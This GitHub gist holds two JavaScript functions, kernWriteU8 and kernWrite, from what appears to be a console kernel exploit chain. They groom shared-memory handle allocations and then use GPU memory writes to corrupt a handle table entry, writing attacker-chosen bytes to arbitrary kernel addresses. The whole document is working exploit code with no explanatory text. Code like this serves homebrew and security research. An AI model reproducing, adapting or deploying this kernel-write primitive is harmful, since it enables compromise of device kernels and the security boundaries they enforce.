Skip to content

Instantly share code, notes, and snippets.

@SciresM
Created November 22, 2017 17:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save SciresM/a76048c85ed057f88968cf99696e84d8 to your computer and use it in GitHub Desktop.
Save SciresM/a76048c85ed057f88968cf99696e84d8 to your computer and use it in GitHub Desktop.
nvcore.prototype.kernWriteU8 = function(u8, addr, entry) {
var hnd = this.createSharedMemory(0x1000);
var val = this.gpuRead4(entry) & 0xFF;
this.closeHandle(hnd);
var numTimes = u8 + 0x200 - val;
numTimes -= 2;
numTimes &= 0xFF;
utils.log('Writing '+u8.toString(16)+' requires '+numTimes+' allocations.');
for (var i = 0; i < numTimes; i++) {
this.closeHandle(this.createSharedMemory(0x1000));
}
this.gpuWrite(addr[0], entry);
this.gpuWrite(addr[1], entry + 4);
var hnd1 = this.createSharedMemory(0x1000);
var hnd2 = this.createSharedMemory(0x1000);
this.closeHandle(hnd1);
this.gpuWrite((entry & 0x0FFFFFFF) + 0x10, entry);
this.gpuWrite(0xFFFFFFFE, entry + 4);
}
nvcore.prototype.kernWrite = function(val, addr) {
if (typeof(val) == 'number') {
val = [val, 0];
}
var entry = this.getFirstFreeHandleEntry();
utils.log('ENTRY: '+entry.toString(16));
for (var i = 0; i < 8; i++) {
var u8 = 0xFF << (8 * (i % 4));
u8 &= val[(i / 4) >>> 0];
u8 >>= (8 * (i % 4));
u8 &= 0xFF;
utils.log('Writing '+u8.toString(16)+' to '+utils.paddr(utils.add2(addr, i)));
this.kernWriteU8(u8, utils.add2(addr, i), entry);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment